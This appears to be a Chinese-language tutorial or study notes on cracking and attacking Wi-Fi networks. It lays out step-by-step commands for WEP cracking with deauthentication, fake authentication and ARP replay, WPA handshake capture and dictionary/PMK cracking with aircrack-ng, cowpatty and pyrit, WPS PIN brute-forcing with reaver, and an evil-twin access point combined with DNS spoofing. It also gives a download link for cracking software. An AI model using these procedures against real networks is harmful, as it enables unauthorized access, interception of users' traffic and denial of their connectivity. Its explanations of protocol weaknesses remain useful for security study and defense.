open无加密网络
- 无任何加密机制
- 所有数据都可以被嗅探到
- STA和AP只协商拼配参数即可连入网络
无线如何不加任何加密机制的话,安全性太差。即使不对你进行嗅探也可以对你进行中间人攻击、地址欺骗等方式
无线安全根源
- 802.11是基于无线电波发射信息
- 嗅探侦听是主要问题
- 加密机制是必要手段
Wired Equivalent Privacy(WEP):有线等效加密 802.11标准的一部分,发布后不久被发现存在安全漏洞
WIFI Protected Access(WPA)取代WEP:802.11i标准
1、WEP攻击
wep是共享密钥的wlan加密方式,这种加密机制及密码算法上面是存在先天的漏洞和问题的;比较容易破解,安全性不高,简直就可以说彻底不安全!现在几乎已经被WPA的加密方式取代。但还是了解一下啊
使用RC4对称加密算法(加解密用一个密钥)加密流量内容、CRC32算法检查数据的完整性。
标准采用使用24位initialization vector(IV起始向量)
- 加密:对明文流和密钥流记性XOR(二进制异或)计算
- 解密:对密文流和密钥流进行XOR计算
RC4算法加密流程:
24位IV值随机数+无线密码结合利用KSA算法生成一个初始的状态表、再通过PRGA算法生成一个密钥流;数据流是由数据和完整校验算法CRC32生成ICV(起始check value),数据流与密钥流一位对一位,然后异或运算生成密文消息 ,加上IV和keyid 包头信息。
RC4解密流程:
从包中直接拿到IV值,根据key id提取key内容组合用KSA和PRDA算法生成密钥流,再和密文流取异或生成原数据,再生成CRC32校验。
wep共享密钥破解
- IV并非完全随机
- 每224个包可能会出现一次IV重用
- 收集大量IV之后找出相同IV及其对应密文,比对分析得出共享密码
因为ARP回包中包含IV,所以IV足够多的情况下,任何复杂程度的wep密码都可以被破解
监听抓到加密前的明文chellege和这个明文加密后的密文 ,有这两个东西就可以进行二进制亦或计算,得到密钥流(xor),当然这个密钥流是以密文存在,有这个就可以与AP建立关联。
只有建立关联才能进行收集ARP注入。
-攻击:
-抓包-- airodump-ng -c 11 --bssid AP_MAC wlan0mon -w CMCC-free 抓的IVZ值在#date显示 --主动抓包:打断--适用于有有效客户端在线的情况 假如都已连接无新的连接,就打断现有连接(Deauthentication),重连时窃取 aireplay -0 10 -a AP_MAC -c Client_MAC wlan0mon -0:Deauthentication 10:打断数目,当为0时则冲突攻击,迫使客户端不断下线
-c:后接指定客户端MAC,不设置默认AP所有客户端打掉
每攻击发送128个包,64个给AP,64个给客户端 --伪造身份认证进行关联--适用于无有效客户端在线 areplay-ng -1 60 -e CMCC-FREE -y wep-01-EC-ER-FF-2E-3F.xor -a EC:DE:23:4R:5T:12 -h 1Q:2W:3E:4R:4T:1D wlan0mon -1:第一种攻击方式 60:是每60秒攻击一次 -e:目标AP -y:密钥流(用以产生关联) -a:AP的MAC地址 -h:黑客的mac地址 --执行ARP重放-- aireplay-ng -3 -b AP_MAC -h hacker_mac wlan0mon 此处也可打断,出arp 要等#Date至少10万20万 (大概10分钟),一边抓一遍分析尝试破解
64bit密钥:25万
128bit密钥:150万 --尝试解密-- aircrack-ng CMCC-FREE-01.cap 很快就得到结果~
-1攻击
之前我一直也没弄明白为什么能够进行伪连接,既然我们并不知道WEP密码,那么如何进行连接?伪连接的伪主要体现在什么地方?这个应该是和AP的工作机制有关.我自己的理解是,在客户端与AP通信的时候,客户端需要在AP那里登记自己的MAC地址,这样AP才会接受这个MAC地址的网卡产生的数据包进行下一步的工作.一般WEP验证过程为:
1.客户端发给AP认证请求
2.AP发回挑战字串
3.客户端利用WEP密码加密字串返回给AP
4.AP对返回结果进行本地匹配判断是否通过认证. 伪连接实际上就是进行了第1步,此后AP就登记了客户端的MAC地址,此时AP等待的是客户端返回挑战字串的加密包,对于攻击者,此时AP已经能够接受各种伪装生成的数据包并对其作出反应了.这一步对于无客户端的-2,-4,-5攻击相当重要.很明显,这样伪连接并不产生任何ARP包,同时也不会获得正确的WPA/WPA2握手包.
注意事项:
WPAWPA2 不支持 Fake authentication
二、WPA攻击
WiFi-Protected Access
802.11i组为提高无线安全,开发了两个新的链路层加密协议:
- Temporal Key Integrity Protocol(TKIP)----wpa1(较之wep可动态改变密钥)
- Counter Mode with CBC-MAC(CCMP---wpa2
WPA加密两种安全类型
- WPA个人:使用预设共享密钥实现身份验证
- WPA2企业:使用802.1x和Radius服务器实现AAA
不是说算法强大就使用弱密码。
WPA1与WPA2比较
#Temporal Key Integrity Protocol (TKIP) 4
#Counter Mode with CBC-MAC (CCMP) 5
密钥交换:
无线网路设计用于一组无线设备通信
- 关联到同一AP的设备共享无线信道
- 单播、广播、组播
- 安全特性要求不同
- 单播通信需要单独密钥加密通信双方流量:pairwise key-对偶密钥(PTK)
- 组播通信需要信任域内所有成员共享的同一密钥:Group key-组密钥(GTK)
只有一种密码破解的方法:wpa不存在wep的弱点
- CPUGPU资源
- 时间
- 字典质量
- 网上共享的
- 泄露密码
- 区号、手机号段、生日、百家姓、名人
- 工具自制字典
PSK破解过程
- 启动monitor
- 开始抓包并保存
- Deauthentication 攻击获取4步握手信息
- 使用字典暴力破解
#抓包 airodump-ng -c 11 --bssid AP_MAC wlan0mon -w CMCC-free #打断重连 aireplay -0 2 -a AP_MAC -c Client_MAC wlan0mon #跑包 aircrack-ng -w /user/share/wordlists/zidian.txt CMCC-free.cap
重中之中-关键就是跑包就是看字典强不强大~
几种其他字典破解工具自行参考:
- airolib
- JTR
- cowpatty
- pyrit
cowpatty破解密码
使用密码字典(普通)cowpatty -r wpa.cap -f password.lst -s kifi
使用彩虹表(PMK)
- genpmk -f password.lst -d pmkhash(名称随意) -s kifi
- cowpatty -r wpa.cap -d pmkhash -s kifi
所以这个优势在于基于AP名先生成hash,再用cowpatty破解速度极快了,适用于不该AP名老更换密码的wifi密码破解。
Pyrit破解密码
与airolib、cowpatty相同,支持基于预计算的PMK提高破解速度
独有优势:
- 出CPU还可利用GPU算法加速生成PMK
- 本身支持抓包,无需airodump抓包
- 也支持传统的读取airodump抓包获取四步握手的方式
只抓取wpa四次握手过程包
- pyrit -r wlan0mon -o wpapyrit.cap stripLive
- pyrit -r wpapyrit.cap analyze
从airodump抓包导入并筛选
- pyrit -r wpa.cap -o wpaprit.cap strip
使用密码字典直接破解:
- pyrit -r wpapyrit.cap -i password.lst -b <AP MAC> attack passthrough
数据库模式破解:
- 默认使用基于文件的数据库,支持连接SQL,将计算的PMK存入数据库
- 查看默认数据库状态:pyrit eval
- 导入密码字典:pyrit -i password.lst import passwords (剔除了不合格的密码)
- 指定ESSID:pyrit -e kifi create essid
- 计算PMK: pyrit batch (发挥GPU计算能力)
- 破解密码: pyrit -r wpaprit.cap -b <AP MAC> attack.db
还可以拷贝到WINDOWS下使用EWSA:
传送门:软件云盘链接:https://pan.baidu.com/s/1_If_fkefIIVzfncLP5kU8Q
提取码:u7hg
还有一种攻击场景是【无AP情况下的WPA密码破解】
伪造一个AP, pmk=essid+PSK,只用4步握手中的前两步就行!
有些鸡肋,还要跟踪人家到真实的物理环境去。
airbase-ng 可用你的无线网卡创造一个AP出来
airbase-ng --essid KFC -c 11 wlan0mon #open airbase-ng --essid KFC -c 11 -w key wlan0mon #wep airbase-ng --essid KFC -c 11 -z 2 wlan0mon #wpa1 airbase-ng --essid KFC -c 11 -Z 4 wlan0mon #wpa2
这样会在你的系统生成一个at0的网卡
三、WPS攻击
wps(wireless protected setup)
- 是WIFI联盟2006年开发的一项技术
- 通过PIN码来简化无线接入操作,无需记住PSK
- 路由器和网卡各按一个按钮就能接入无线
- PIN码是分为前后各4位的2段共8位数字
- 安全漏洞
- 2011年被发现安全漏洞
- 接入发起方可以根据路由器的返回信息判断前4位是否正确
- 而PIN码的后4位只有1000种定义的组合(最后一位是检验值checksum)
- 所以全部穷举破解只需要11000次尝试(15~20个小时)
- 标准本身没有设计锁定机制,目前多个厂商已实现锁定机制
只要你的路由器支持WPS,即使没有客户端在使用这个wps,攻击者也可以利用pin出来。
本来旨在提高安全和便利性,反而降低了安全成了大的隐患。
拿到PIN-->PSK 就是一操作很快就出来。
早期的PIN码更弱智,有的路由器厂商直接用网卡MAC前6位转换为16进制就是PIN码.....(如C83A35 0B00C),现在已经没了。
攻击过程:
#启动侦听后扫描带WPS功能的AP:
wash -C -i wlan0mon
airodump-ng wlan0mon --wps
#爆破PIN码
reaver -i wlan0mon -b <AP mac> -c <channel> -vv
#秒破PIN码
reaver -i wlan0mon -b <AP mac> -vv -K 1
pixiewps
只适用于固定厂商的芯片,成功率极低
#当出来PIN码以后...
reaver -i wlan0mon -b <AP mac> -vv -p 12345678
#注意 现在几乎带WPS的厂商都实现了锁定机制,所有在穷举PIN码时应注意限速,所以-reaver会10次一停。
#牛刀小试-综合自动化无线密码破解工具 wifite
四、伪造双胞胎AP
攻击流程:
#伪造假AP
airbase-ng -a <AP mac可选> -c 11 --essid KFC-FREE wlan0mon
#此时ifconfig -a 会发现多了一个网卡 at0
#设置网桥,ip地址要给网桥
apt-get install bridge-utils
brctl addbr bridge //delbr
brctl addif bridge eth0
brctl addif bridge at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig bridge 192.168.1.10 up
#增加路由,或者配置个DHCP服务
netstat -nr
route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
#启动ip转发
echo 1 > /proc/sys/net/ipv4/ip_forward
#dns欺骗
dnsspoof -i bridge -f dnsspoof.hosts
192.168.1.10 *.microsoft.com(欺骗网址)
#开启apache服务
apache2ctl start
五、无线侦查-kismet
一个集成化的探测周围AP并尝试破解并标记在谷歌地图上的工具。
(开发者已停止更新维护)
- KISmet
- kismet*.nettxt
kismet*.pcapdump gpsd -n -N -D4 /dev/ttyUSB0 giskismet -x Kismet-*.netxml giskismet -q "select * from wireless" -o gps.kml
需要购买一个USB无线模块
安装谷歌地球:
http://dl.goole.com/dl/earth/client/current/google-earth-stable_current_amd64.deb dpkg -i google-earth64.deb apt-get -f install
导入kml文件就可。